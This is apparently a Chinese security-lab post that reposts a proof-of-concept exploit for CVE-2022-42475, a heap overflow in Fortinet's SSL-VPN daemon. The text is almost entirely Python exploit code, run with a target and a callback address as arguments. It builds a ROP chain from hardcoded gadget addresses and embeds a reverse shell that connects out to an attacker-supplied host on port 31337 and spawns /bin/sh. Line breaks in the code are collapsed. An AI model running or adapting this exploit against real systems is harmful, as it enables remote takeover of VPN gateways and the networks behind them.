Khan安全攻防实验室
Khan安全攻防实验室
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功能介绍 安全不是一个人，我们来自五湖四海。研究方向Web内网渗透，免杀技术，红蓝攻防对抗，CTF。
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https://github.com/scrt/cve-2022-42475
利用 Fortinet 的 SSLVPN 守护进程中的堆溢出的 POC 代码
import socketimport sslfrom pwn import *import timeimport sysimport requests
context = ssl.SSLContext()target_host = sys.argv[1]target_port = sys.argv[2]reverse = sys.argv[3]params = sys.argv[4].split(" ")strparams = "["for param in params: strparams += "'"+param+"',"strparams = strparams[:-1]strparams += "]"
#binary functionsexecve = p64(0x0042e050)
#binary gadgetsmovrdirax = p64(0x00000000019d2196)# : mov rdi, rax ; call r13poprsi = p64(0x000000000042f0f8)# : pop rsi ; ret)poprdx = p64(0x000000000042f4a5)# : pop rdx ; ret)jmprax = p64(0x0000000000433181)#: jmp rax)pops = p64(0x000000000165cfd7)# : pop rdx ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret)poprax = p64(0x00000000004359af)# : pop rax ; ret)gadget1 = p64(0x0000000001697e0d); #0x0000000001697e0d : push rbx ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; retpoprdi = p64(0x000000000042ed7e)# : pop rdi ; retrax3 = gadget1
#hardcoded value which would probably need to be bruteforced or leakedhardcoded = 0x00007fc5f128e000
scbase = p64(hardcoded)rdi = p64(hardcoded + 0xc48)cmd = p64(hardcoded + 0xd38)asdf = hardcoded + 0xd38cmd1 = p64(asdf)cmd2 = p64(asdf+16)arg1 = p64(asdf+48)arg2 = p64(asdf+56)arg3 = p64(asdf+64)
ropchain = popraxropchain += execveropchain += poprdiropchain += cmd1ropchain += poprsiropchain += cmd2ropchain += poprdxropchain += p64(0)ropchain += jmpraxropchain += b"/bin/python\x00\x00\x00\x00\x00"ropchain += arg1ropchain += arg2ropchain += arg3ropchain += p64(0)ropchain += b"python\x00\x00"ropchain += b"-c\x00\x00\x00\x00\x00\x00"ropchain += b"""import socket,sys,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('"""+ reverse.encode() + b"""',31337))\n[os.dup2(s.fileno(),x) for x in range(3)]\ni=os.fork()\nif i==0:\n os.execve('/bin/sh', """+strparams.encode()+b""",{})\n\x00\x00"""
try: with socket.create_connection((target_host, int(target_port,10))) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: ssock.settimeout(2) context.verify_mode = ssl.CERT_NONE payload = b"A"*173096+rdi+poprdi+cmd+pops+b"A"*40+pops+rax3+b"C"*32+ropchain tosend = b"POST /remote/error HTTP/1.1\r\nHost: "+target_host +b"\r\nContent-Length: 115964117980\r\n\r\n" + payload ssock.sendall(tosend) r = ssock.recv(10024)except Exception as e: print("Exception occurred :"+ repr(e))
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